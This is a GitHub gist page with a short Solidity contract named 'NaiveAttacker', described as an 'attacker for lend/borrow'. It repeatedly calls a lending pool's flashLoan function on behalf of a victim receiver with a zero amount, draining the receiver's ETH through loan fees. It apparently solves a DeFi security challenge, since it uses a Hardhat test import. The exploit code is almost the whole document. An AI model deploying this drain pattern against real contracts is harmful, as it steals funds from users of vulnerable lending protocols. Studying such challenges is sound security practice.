Created
August 15, 2022 05:41
-
-
Save 0xAnon101/4c8b0706a236af43f07480dd51e0c304 to your computer and use it in GitHub Desktop.
attacker for lend/borrow
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "hardhat/console.sol"; | |
contract NaiveAttacker { | |
address pool; | |
constructor(address payable _pool) { | |
pool = _pool; | |
} | |
function emptyReceiverBalance(address payable receiver) external { | |
require(receiver.balance > 0, "Receiver has 0 ETH left"); | |
bytes memory signature = abi.encodeWithSignature( | |
"flashLoan(address,uint256)", | |
receiver, | |
0 | |
); | |
for (uint8 i = 0; i < 10; i++) { | |
(bool success, ) = pool.call(signature); | |
console.log("%s", address(pool).balance); | |
require(success, "Custom revert: error while calling pool"); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment